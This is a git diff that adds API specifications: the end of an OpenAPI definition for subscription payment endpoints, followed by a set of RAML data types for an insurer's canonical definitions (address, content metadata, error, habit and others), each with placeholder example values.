+ /subscriptions/{subscriptionId}/payment:
+ parameters:
+ - name: subscriptionId
+ in: path
+ description: Subscription id to retrieve payment information fo
+ required: true
+ schema:
+ type: string
+ format: uuid
+ - name: "x-loyalty-program"
+ in: header
+ schema:
+ $ref: "#/components/schemas/LoyaltyProgram"
+ get:
+ summary: "Retrieve the payment details for a subscription"
+ description: "Returns the card information for the subscription."
+ tags:
+ - subscriptions
+ responses:
+ '200':
+ description: "Successfully retrieved the payment detail"
+ content:
+ application/json:
+ schema:
+ type: object
+ properties:
+ cardType:
+ type: string
+ description: "The credit card type"
+ example: Visa
+ expirationDate:
+ type: string
+ example: 07/21
+ description: "The expiration date of the credit card"
+ lastFourDigits:
+ type: string
+ example: "1134"
+ description: "The last 4 digits on the credit card"
+ '404':
+ description: "The subscription cannot be found"
+ '401':
+ description: "The request is missing the authorization key"
+ content: {}
+ '403':
+ description: "The request has a malformed or expired authorization key"
+ content: {}
+ '500':
+ description: "An unknown exception has occured; consumer should contact the subscription team to resolve this."
+ put:
+ summary: "Update the card to use subscription recurring charges."
+ description: "New payment method will be effective immediately. \n
+
+ If a user's account is past due, it will be charged immediately. Otherwise, the card will be charged on the next billing date. Only the payment methods types allowed during enrollment is allowed when updating payment methods."
+ tags:
+ - subscriptions
+ requestBody:
+ content:
+ application/json:
+ schema:
+ type: object
+ properties:
+ nonce:
+ type: string
+ description: The one time use token issued by Braintree for the new payment method
+ examples:
+ With a valid token:
+ value:
+ nonce: "fake-valid-nonce"
+ With a bad token:
+ value:
+ nonce: "fake-processor-declined-visa-nonce"
+ responses:
+ '200':
+ description: "Successfully updated payment method for subcription"
+ content: {}
+ '400':
+ description: "The supplied nonce for the payment method is invalid"
+ content:
+ application/json:
+ schema:
+ type: object
+ properties:
+ errors:
+ description: "List of error descriptions"
+ type: array
+ items:
+ type: string
+ example: "Payment method failed to be verified."
+ '404':
+ description: "The subscription cannot be found"
+ '401':
+ description: "The request is missing the authorization key"
+ content: {}
+ '403':
+ description: "The request has a malformed or expired authorization key"
+ content: {}
+ '500':
+ description: "An unknown exception has occured; consumer should contact the subscription team to resolve this."
+components:
+ schemas:
+ Subscription:
+ type: object
+ properties:
+ cardNumber:
+ type: string
+ example: "1123"
+ description: The last 4 digits of credit card used for the recurring payment
+ expirationDate:
+ type: string
+ example: "07/2021"
+ description: The expiration month and year of the card used for the curring payment
+ renewalDate:
+ type: string
+ format: date
+ description: The next date for which the subscription will be renewed/charged its monthly fee.
+ billingPeriodStartDate:
+ type: string
+ format: date | "Invalid date"
+ example: "2021-05-08"
+ description: The charge date in the current subscription billing cycle. If the subscription has never been charged (i.e. within its trial period), then the value will be "Invalid date".
+ planName:
+ type: string
+ description: The name of the subscription plan
+ enum:
+ - Price Match
+ - Coffee
+ - Hot Drinks
+ planPrice:
+ type: string
+ format: money
+ description: The fee charged on the recurring schedule
+ example: "0.99"
+ createdAt:
+ type: string
+ format: date-time
+ example: "2021-05-08T20:29:03.919Z"
+ subscriptionId:
+ type: string
+ format: uuid
+ description: The id for the subscription
+ state:
+ oneOf:
+ - type: object
+ description: "An active subscription"
+ properties:
+ status:
+ type: "string"
+ example: "active"
+ - type: object
+ description: "A past due subscription. The subscription failed to be renewed but is still within the 3 day grace period (inclusive of the renewal date) where there will be daily attempts to charge for the subscription fee."
+ properties:
+ status:
+ type: "string"
+ example: "pastdue"
+ - type: object
+ description: "A canceled subscription. The subscription has gone past the last paid through date."
+ properties:
+ status:
+ type: "string"
+ example: "canceled"
+ cancellationReason:
+ description: "MEMBER_INITIATED: if the member initiated the cancellation voluntarily. PAYMENT_FAILURE: if all attempts at charging the subscription for renewal failed and the subscription is automatically canceled as a result."
+ type: string
+ enum:
+ - "MEMBER_INITIATED"
+ - "PAYMENT_FAILURE"
+ endDate:
+ type: string
+ format: date
+ description: "The last date for which the subscription has been paid through."
+ example: "2021-08-01"
+ - type: object
+ description: "A subscription that has been canceled, but still within its paid through period. Only subscriptions canceled by the subscriber voluntarily will be in residual states."
+ properties:
+ status:
+ type: "string"
+ example: "residual"
+ cancellationReason:
+ type: string
+ enum:
+ - "MEMBER_INITIATED"
+ endDate:
+ type: string
+ format: date
+ description: "The last date for which the subscription has been paid through; the member will continue to receive the paid for services until, and including, this date."
+ example: "2021-08-01"
+ LoyaltyProgram:
+ description: "The loyalty program the subscription is under"
+ type: string
+ enum:
+ - bpme-us
+ - bpme-uk
+ - ampm
+ securitySchemes:
+ UserJWT:
+ description: "The end user JWT issued by Salesforce for the user session."
+ type: apiKey
+ in: header
+ name: x-user-authorization
\ No newline at end of file
diff --git a/demo/APIC-711/APIC-711.raml b/demo/apis/APIC-711/APIC-711.raml
similarity index 100%
rename from demo/APIC-711/APIC-711.raml
rename to demo/apis/APIC-711/APIC-711.raml
diff --git a/demo/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json b/demo/apis/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json
similarity index 100%
rename from demo/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json
rename to demo/apis/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json
diff --git a/demo/SE-10469/SE-10469.raml b/demo/apis/SE-10469/SE-10469.raml
similarity index 100%
rename from demo/SE-10469/SE-10469.raml
rename to demo/apis/SE-10469/SE-10469.raml
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml
new file mode 100644
index 0000000..2c63f0e
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml
@@ -0,0 +1,126 @@
+#%RAML 1.0 DataType
+
+uses:
+ lib: ../libraries/library-context-and-preference.raml
+ base-lib: ../libraries/library-base.raml
+
+displayName: Address
+description: Used to express the values of a US address, but can also be used for non-US addresses
+
+type: [lib.preferable, lib.contextual, base-lib.base]
+additionalProperties: false
+
+properties:
+ line1:
+ displayName: Address Line 1
+ required: false
+ type: string
+ minLength: 0
+ maxLength: 64
+ description: The street name part of the address
+ example: 156 Trentini Ave
+ line2:
+ displayName: Address Line 2
+ required: false
+ type: string
+ minLength: 0
+ maxLength: 64
+ description: The additional street name part of the address
+ example: Suite 101
+ line3:
+ displayName: Address Line 3
+ required: false
+ type: string
+ minLength: 0
+ maxLength: 64
+ description: For Attn to a specific person in an organization
+ example: "Attn: John Doe"
+ line4:
+ displayName: Address Line 4
+ required: false
+ type: string
+ minLength: 0
+ maxLength: 64
+ description: Any additional information that does not fit the above three lines can be inserted here
+ city:
+ displayName: City
+ required: false
+ type: string
+ description: The city name part of the address
+ example: Atlanta
+ county:
+ displayName: County
+ required: false
+ type: string
+ description: Rarely used county name within a US state
+ example: Fulton
+ state-region-code:
+ displayName: State or Region Code
+ description: In countries such as the USA which has states, this field holds the code of the state. Otherwise, it holds the code of a region or province
+ required: false
+ type: string
+ examples:
+ state-example: GA
+ region-example: MBR
+ state-region-name:
+ displayName: State or Region Name
+ description: In countries such as the USA which has states, this field holds the full name of the state. Otherwise, it holds the full name of a region or province
+ required: false
+ type: string
+ examples:
+ state-example: Georgia
+ region-example: Marmara Bolgesi
+ country:
+ displayName: Country
+ description: The name of the country. It can be abbreviated or full.
+ required: false
+ type: string
+ example: U.S.A.
+ postal-code:
+ displayName: Primary Postal Code
+ required: false
+ type: string
+ description: Most country addresses use a primary postal code. In the U.S. the primary postal code is the first 5 digits of the zip code.
+ example: "12345"
+ additional-postal-code:
+ displayName: Additional Postal Code
+ required: false
+ type: string
+ description: In some countries which use a primary postal may also include an additional postal code. In the U.S. the additional postal code is the last 4 digits of the 9 digit full postal code. Most people only know their primary postal code. However, post offices can use these additional postal codes to increase efficiencies and reduce costs.
+ example: "1234"
+ validity:
+ displayName: Address Validity
+ required: false
+ enum:
+ - Unknown
+ - Valid
+ - Invalid
+ description: |
+ An address can be validated against a service to confirm its existence and its format. This field shows either the address has been validated or not, and if validated what the result is.
+ Unknown: We do not know if the address has been validated or not
+ Valid: The address has been validated and the result came back as a valid address
+ Invalid: The validation process returned a negative result and the address is NOT valid, meaning it either does not exist or is not formatted correctly and it should not be used until fixed.
+examples:
+ us-address-example:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
+ canada-address-example:
+ context: office
+ line1: 2701 Riverside Dr
+ line2: Suite No813
+ city: Ottowa
+ state-region-code: ON
+ country: Canada
+ postal-code: "K1A 0B1"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-base.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-base.raml
new file mode 100644
index 0000000..2c04171
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-base.raml
@@ -0,0 +1,31 @@
+#%RAML 1.0 DataType
+
+uses:
+ prop-lib: ../libraries/library-property.raml
+
+displayName: Base DataType
+description: Base data type is used as the super type of most business data types. Base has properties that all business entities commonly have.
+
+type: object
+additionalProperties: false
+
+properties:
+ additional-properties:
+ displayName: Additional Properties
+ description: When a data type is defined for various reasons it may be missing some properties. This array of property objects keeps track of the missed properties
+ required: false
+ type: prop-lib.properties
+
+example:
+ additional-properties:
+ - order: 1
+ name: forgotten-property
+ value: value
+ type: string
+ - name: forgotten-number-array
+ is-array: true
+ delimiter: ","
+ value: 1,3,4,5,6
+ type: integer
+
+
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-basic-questions-set.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-basic-questions-set.raml
new file mode 100644
index 0000000..cb7fa37
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-basic-questions-set.raml
@@ -0,0 +1,42 @@
+#%RAML 1.0 DataType
+
+displayName: Basic Question Set
+description: Basic question set contains 6 questions (what, when, where, who, why and how) that are asked for any event to gather information about the event.
+
+properties:
+ what:
+ displayName: What
+ description: answers what has happened
+ required: false
+ type: string
+ example: Created
+ when:
+ displayName: When
+ description: answers when it has happened. Always in Zulu(GMT) time in ISO 8601 format yyyy-MM-ddThh:mm:ss.sssZ
+ required: false
+ type: datetime
+ example: 2018-09-12T15:10:19.123Z
+ where:
+ displayName: Where
+ description: answers where it has happened. Usually location or locations
+ required: false
+ type: string
+ example: \\pcnsdnca02a\folder1
+ who:
+ displayName: Who
+ description: answers who has done it. Usually name or names
+ required: false
+ type: string
+ example: AFLHQ\e99999
+ why:
+ displayName: Why
+ description: answers why it has been done. Usually reason or reasons
+ required: false
+ type: string
+ example: new file
+ how:
+ displayName: How
+ description: answers how it has been done. Usually mean or means
+ required: false
+ type: string
+ example: Microsoft Word
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml
new file mode 100644
index 0000000..1b3578b
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml
@@ -0,0 +1,36 @@
+#%RAML 1.0 DataType
+
+displayName: Code Description
+description: Used to explain the meaning of a code, with short and long descriptions
+
+type: object
+additionalProperties: true
+
+properties:
+ context:
+ required: false
+ type: string
+ displayName: Context
+ description: a name that represents to whom the code belongs such as the name of a system or software component or under which context it has been created such as an error condition. Use kebab-case for multi words.
+ example: experienceAPI-for-datacap-claim-app
+ code:
+ required: false
+ type: string
+ displayName: Code
+ description: a code that represent a specific condition
+ short-description:
+ required: false
+ type: string
+ displayName: Short Description
+ description: a short description of the code
+ long-description:
+ required: false
+ type: string
+ displayName: Long Description
+ description: a long description of the code which may include instruction what actions to take under certain conditions.
+
+example:
+ context: error
+ code: 3001A
+ short-description: Connection Timeout
+ long-description: The allowed time to acquire a database connection has elapsed. Contact database administrator for TRX_DB on server SCSSOASQL01.
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-origin.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-origin.raml
new file mode 100644
index 0000000..4d33632
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-origin.raml
@@ -0,0 +1,24 @@
+#%RAML 1.0 DataType
+
+displayName: Origination Point
+description: Information regarding the run-time and design-time location of the code. When an event occurs in the code, an error or log entry can use this data type to communicate the exact location of the event in the code and the execution environment.
+
+type: object
+
+properties:
+ node:
+ type: string
+ description: the specific instance name of a container, server, machine etc
+ required: false
+ component:
+ type: string
+ description: the name of the software component, api, service, program, class etc.
+ required: false
+ method:
+ type: string
+ description: the section name of the code in the software component, method, operation, function, subroutine, etc.
+ required: false
+ line:
+ type: string
+ description: the line number of the code in that code unit.
+ required: false
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contact-information.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contact-information.raml
new file mode 100644
index 0000000..f082ce5
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contact-information.raml
@@ -0,0 +1,69 @@
+#%RAML 1.0 DataType
+
+uses:
+ language-lib: ../libraries/library-language.raml
+ address-lib: ../libraries/library-address.raml
+ phone-lib: ../libraries/library-phone.raml
+ email-lib: ../libraries/library-email.raml
+ social-media-lib: ../libraries/library-social-media.raml
+
+displayName: Contact Information
+
+type: object
+additionalProperties: false
+
+properties:
+ languages:
+ displayName: List of Languages
+ description: The preferred language has the highest preference-index number
+ required: false
+ type: language-lib.languages
+ addresses:
+ displayName: List of Addresses
+ required: false
+ type: address-lib.addresses
+ phones:
+ displayName: List of Phones
+ required: false
+ type: phone-lib.phones
+ emails:
+ displayName: List of Emails
+ required: false
+ type: email-lib.email-addresses
+ social-media-accounts:
+ displayName: List of Social Media Accounts
+ required: false
+ type: social-media-lib.social-media-accounts
+
+example:
+ languages:
+ - name: English
+ code: en
+ preference-index: 1
+ - name: Spanish
+ code: es
+ preference-index: 0
+ addresses:
+ - context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "6388"
+ - context: work
+ line1: 101 Walnut St
+ line2: Suite 2300
+ city: Philadelphia
+ state-region-code: PA
+ country: USA
+ postal-code: "19104"
+ phones:
+ - context: home
+ area-code: "212"
+ phone-number: 255-5584
+ - context: work
+ area-code: "212"
+ phone-number: 257-8400
+ ext: "1378"
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-data.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-data.raml
new file mode 100644
index 0000000..ac7cccf
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-data.raml
@@ -0,0 +1,19 @@
+#%RAML 1.0 DataType
+
+displayName: Content Data
+description: This represents the data part of the content in a printable, non-binary form. For example, a pdf document can be represented as a binary stream and can be passed around in MIME type application/octet-stream or application/pdf. That octet stream can also be Base64 encoded and a resulting printable array of characters can be used to represent the same pdf document. This type is used only for representations that can be printed as an array of characters. In cases where the content has to be passed as binary application/octet-stream should be used.
+
+type: object
+additionalProperties: true
+
+properties:
+ data:
+ displayName: Base64 Encoded Content Data
+ description: Base64 encoding schemes are commonly used when there is a need to encode binary data that needs be stored and transferred over media that are designed to deal with textual data such as XML or JSON. This is to ensure that the data remains intact without modification during transport.
+ required: false
+ type: string
+ type:
+ displayName: Data Type
+ description: The data is an array of printable characters. The type indicates the original form. For example, if the data is Base64 encoded, and we Base64 decode the data, the resulting output may be a binary for application/pdf or application/msword.
+ required: false
+
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-metadata.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-metadata.raml
new file mode 100644
index 0000000..954a01d
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-metadata.raml
@@ -0,0 +1,243 @@
+#%RAML 1.0 DataType
+
+uses:
+ basic-q-lib: ../libraries/library-basic-questions-set.raml
+ property-lib: ../libraries/library-property.raml
+ version-lib: ../libraries/library-version.raml
+
+displayName: Content Metadata
+description: Data about any content's data. This type is part of the content type. However, it can also be used independently as part of a multipart/* where one of the parts describes the metadata and the other parts may be octet stream.
+
+type: object
+additionalProperties: true
+
+properties:
+ content-id:
+ displayName: Content ID
+ description: The unique ID that represents a content
+ required: false
+ type: string
+ correlated-content-ids:
+ displayName: Correlated content IDs
+ description: An array of content-ids that are related to this content and their relation type. Four types of relationships are recognized, namely, parent, child, sibling and associated.
+ required: false
+ type: property-lib.properties
+ examples:
+ parent-only-example:
+ value:
+ - type: parent
+ value: doc-1234567890
+ parent-and-children-example:
+ value:
+ - type: parent
+ value: doc-1234567890
+ - type: child
+ value: doc-1234567999
+ - type: child
+ value: doc-1234560000
+ parent-children-and-siblings-example:
+ value:
+ - type: parent
+ value: doc-1234567890
+ - type: child
+ value: doc-1234567999
+ - type: child
+ value: doc-1234560000
+ - type: sibling
+ value: doc-1234561111
+ content-type:
+ displayName: Content Type
+ description: What type of content is being represented. Content can be document, image, video, audio, table such as spreadsheets, drawings such as diagrams, or sites that contain content at a referenceable location.
+ required: false
+ enum:
+ - document
+ - image
+ - video
+ - audio
+ - table
+ - drawing
+ - site
+ content-mime-type:
+ displayName: Content MIME Type
+ description: The MIME type of the content, such as application/pdf, image/png, application/msword/ application/epub+zip, application/octet-stream, etc.
+ required: false
+ location:
+ displayName: Location
+ description: |
+ Detailed information about the location of the content. A content can be a record in a database, a file in a file system, in a referencable site, or some other type of an entry that have not been defined at this point in time.
+ The ultimate goal of the location property is to "locate" where the content has been persisted.
+ The consumer originally would not know this information but would get this information from the provider as part of the metadata.
+ An array of name value pairs can generically define any location.
+ location-type: (database | file-system | reference)
+ database: name of the database
+ schema: name of the schema, owner, plan etc.
+ table: name of the table, view, etc.
+ os: name of the operating system
+ file-path: complete path in that operating system
+ file-name: the name of the file where the content has been persisted
+ reference-type: what type of reference is the content located at
+ reference-uri: the uri that shows the exact location of the content
+ required: false
+ type: property-lib.properties
+ example:
+ value:
+ - name: location-type
+ value: database
+ - name: database
+ value: GRC001DB
+ - name: table
+ value: RECORDS
+
+ title:
+ displayName: Title
+ required: false
+ type: string
+ example: Business Architecture for IT Managers
+ subject:
+ displayName: Subject
+ required: false
+ type: string
+ example: Business Architecture Basics
+ author:
+ displayName: Original Author
+ required: false
+ type: string
+ manager:
+ displayName: Author's Manager
+ required: false
+ type: string
+ categories:
+ displayName: Categories
+ description: Content may belong to different categories. These categories may be used to persist the content in different locations so that their search can be executed more effectively. For example, contents that contain claim information may be persisted in a claim repository with other claim content, while content that contains application information may be persisted in a different repository. These line of business categorization may be used to organize content in more manageable ways. There may be other types of categorizations such as the freshness of the content. Some active content may be persisted in a location that can read and written very quickly. Some much older content that has been used but cannot be deleted can be archived. Even though the location is much harder to reach and much slower to read, the content is still available, yet in a different location. Since there is no way of knowing how many of these categorization keys are available, this property is an array of name value pairs
+ required: false
+ type: property-lib.properties
+ example:
+ value:
+ - name: line-of-business
+ value: Individual-Claim
+ - name: freshness
+ value: archived
+ keywords:
+ displayName: Keywords
+ description: Keywords are special informative words that can be tagged to content and later can be used for search and retrieval of that content.
+ required: false
+ type: string[]
+ example: ["Account","Invoice","Correction"]
+ comments:
+ displayName: Comments
+ required: false
+ type: basic-q-lib.basic-questions-sets
+ example:
+ - what: original version created
+ who: Jane Doe
+ when: 2018-08-31T15:42:16.000Z
+ - what: added Chapter 3 for recipies
+ who: Jane Doe
+ when: 2018-09-01T14:42:16.000Z
+ company:
+ displayName: Company that ownes the Content
+ required: false
+ type: string
+ example: Aflac
+ template-name:
+ displayName: Content Template
+ required: false
+ type: string
+ events:
+ displayName: Important milestone events of the content
+ description: Important events of a content are the creation, last update, check-in, check-out, print and others.
+ required: false
+ type: basic-q-lib.basic-questions-sets
+ example:
+ - what: created
+ who: Jane Doe
+ when: 2018-08-31T15:42:16.000Z
+ - what: checked-out
+ who: Jane Doe
+ when: 2018-09-01T14:42:16.000Z
+ - what: printed
+ who: Jane Doe
+ when: 2018-09-01T14:52:48.000Z
+ - what: updated
+ who: Jane Doe
+ when: 2018-09-01T15:00:10.000Z
+ - what: checked-in
+ who: Jane Doe
+ when: 2018-09-01T15:10:25.000Z
+ version:
+ displayName: Current Version
+ required: false
+ type: version-lib.version
+ size-in-bytes:
+ displayName: Content Size
+ description: The size of the content's data in bytes
+ required: false
+ type: number
+ custom-fields:
+ displayName: Custom Fields
+ required: false
+ type: property-lib.properties
+examples:
+ read-example:
+ value:
+ content-id: ABCDEF01-2541-3526-AADD-1245789630ABCDEF
+ correlated-content-ids:
+ - type: parent
+ value: doc-1234567890
+ - type: child
+ value: doc-1111
+ - type: sibling
+ value: doc-2222
+ content-type: document
+ content-mime-type: application/pdf
+ location:
+ - name: location-type
+ value: database
+ - name: database
+ value: GRC001DB
+ - name: table
+ value: RECORDS
+ title: Business Architecture for IT Managers
+ subject: Business Architecture Basics
+ author: Dr. John D. Litmus
+ manager: Greg Peterson
+ categories:
+ - name: source
+ value: FileNet
+ - name: line-of-business
+ value: individual claim
+ - name: freshness
+ value: active
+ keywords:
+ - Account
+ - Invoice
+ - Correction
+ comments:
+ - what: original version created
+ who: Jane Doe
+ when: 2018-08-31T15:42:16.000Z
+ - what: added Chapter 3 for recipies
+ who: Jane Doe
+ when: 2018-09-01T14:42:16.000Z
+ company: Aflac
+ template-name: TMPL-PDF-11234432
+ events:
+ - what: created
+ who: Jane Doe
+ when: 2018-08-31T15:42:16.000Z
+ - what: checked-out
+ who: Jane Doe
+ when: 2018-09-01T14:42:16.000Z
+ - what: printed
+ who: Jane Doe
+ when: 2018-09-01T14:52:48.000Z
+ - what: updated
+ who: Jane Doe
+ when: 2018-09-01T15:00:10.000Z
+ - what: checked-in
+ who: Jane Doe
+ when: 2018-09-01T15:10:25.000Z
+ version:
+ full: 1.0.0
+ size-in-bytes: 155478445
+
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content.raml
new file mode 100644
index 0000000..09e61ff
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content.raml
@@ -0,0 +1,47 @@
+#%RAML 1.0 DataType
+
+uses:
+ content-lib: ../libraries/library-content.raml
+
+displayName: Content
+description: |
+ Content is digitized data that can only be consumed wholly. There are different types of content, such as document, image, audio, video, table, drawing, etc.
+ Content has two parts
+ 1) Data, that is the actual content
+ 2) Metadata, that is data about the data.
+ This type is a container of the data and metadata types, so that they can be moved together if needed.
+ This type is used when the content is being passed as an XML or JSON object. If the data is being passed using a multipart/* MIME type then only the metadata part can be used.
+
+type: object
+additionalProperties: true
+
+properties:
+ content-id:
+ displayName: Content ID
+ description: A unique ID that represents the content. The same value exists in the metadata section. It is duplicated here for convenience.
+ required: false
+
+ content-type:
+ displayName: Content Type
+ description: The type of the content. The same value exists in the metadata section. It is duplicated here for convenience.
+ required: false
+ enum:
+ - document
+ - image
+ - video
+ - audio
+ - table
+ - drawing
+ - site
+
+ data:
+ displayName: Data
+ description: Data
+ required: false
+ type: content-lib.content-data
+
+ metadata:
+ displayName: Metadata
+ description: Metadata
+ required: false
+ type: content-lib.content-metadata
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contextual.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contextual.raml
new file mode 100644
index 0000000..ea115b2
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contextual.raml
@@ -0,0 +1,18 @@
+#%RAML 1.0 DataType
+
+displayName: Contextual
+description: This is a type that is best used for inheritance to give a context to any inheriting object.
+
+type: object
+additionalProperties: false
+
+properties:
+ context:
+ displayName: Context
+ required: false
+ type: string
+ description: a name that represents the context an object is in. For example, the context of an email can be 'personal', or 'work', the context of a phone number can be 'office', 'cell', or 'home'.
+
+examples:
+ json-example:
+ {"context": "work"}
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-currency.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-currency.raml
new file mode 100644
index 0000000..35dc1da
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-currency.raml
@@ -0,0 +1,22 @@
+#%RAML 1.0 DataType
+
+displayName: Currency
+
+type: object
+additionalProperties: false
+
+properties:
+ code:
+ description: |
+ The currency abbreviation as listed in https://www.easymarkets.com/int/learn-centre/discover-trading/currency-acronyms-and-abbreviations/
+ Not an enum.
+ required: false
+ type: string
+ amount:
+ required: false
+ type: number
+ minimum: 0.0
+
+example:
+ code: USD
+ amount: 123.45
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-document-statistic.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-document-statistic.raml
new file mode 100644
index 0000000..e6c9b9a
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-document-statistic.raml
@@ -0,0 +1,44 @@
+#%RAML 1.0 DataType
+
+displayName: Document Statistic
+description: Information regarding the size of a text based document.
+additionalProperties: true
+
+properties:
+ number-of-characters:
+ required: false
+ type: number
+ example: 6457
+ number-of-characters-with-spaces:
+ required: false
+ type: number
+ example: 7301
+ number-of-words:
+ required: false
+ type: number
+ example: 563
+ number-of-sentences:
+ required: false
+ type: number
+ example: 52
+ number-of-paragraphs:
+ required: false
+ type: number
+ example: 8
+ number-of-pages:
+ required: false
+ type: number
+ example: 3
+ number-of-lines:
+ required: false
+ type: number
+ example: 104
+
+example:
+ number-of-characters: 6457
+ number-of-characters-with-spaces: 7301
+ number-of-words: 563
+ number-of-sentences: 52
+ number-of-paragraphs: 8
+ number-of-pages: 3
+ number-of-lines: 104
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-email-address.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-email-address.raml
new file mode 100644
index 0000000..4c2bf74
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-email-address.raml
@@ -0,0 +1,19 @@
+#%RAML 1.0 DataType
+
+uses:
+ lib: ../libraries/library-context-and-preference.raml
+
+displayName: Email Address
+
+type: [lib.preferable, lib.contextual]
+additionalProperties: false
+
+properties:
+ address:
+ displayName: Full email address
+ required: false
+ type: string
+
+example:
+ context: work
+ address: john.doe@company.com
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml
new file mode 100644
index 0000000..8e4726b
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml
@@ -0,0 +1,33 @@
+#%RAML 1.0 DataType
+
+displayName: Aflac Error Type
+description: The type to be used in all Aflac Software Components to report an error condition
+
+type: object
+additionalProperties: false
+
+properties:
+ transaction-id:
+ displayName: Transaction ID
+ description: This is the unique id that flows throughout a request process. By providing the transaction ID the complete records regarding that request can be retrieved from an appropriate system.
+ type: string
+ required: false
+ type:
+ displayName: Error Type
+ type: string
+ required: false
+ message:
+ displayName: Error Message
+ type: string
+ required: false
+ time:
+ displayName: Occurence Time
+ type: string
+ required: false
+ description: The timestamp will be shown in GMT
+
+example:
+ transaction-id: aaaaaaaa-bbbb-cccc-dddd-0123456789ab
+ type: Data error
+ message: String value was expected but number value received
+ time: 2018-05-31T15:00:06,325Z
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-habit.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-habit.raml
new file mode 100644
index 0000000..45a5b76
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-habit.raml
@@ -0,0 +1,61 @@
+#%RAML 1.0 DataType
+
+displayName: Habit
+description: A habit is a repeated behaviour of doing something. Smoking, vaping, drinking, video game playing can all be habits. This object captures the amount and frequency of a habit.
+
+type: object
+additionalProperties: false
+
+
+properties:
+ habit-name:
+ displayName: Habit Name
+ description: Name of the habit
+ required: false
+ type: string
+ usage-amount:
+ displayName: Usage Amount
+ description: a number that represents the usage
+ required: false
+ type: number
+ usage-unit:
+ displayName: Usage Unit
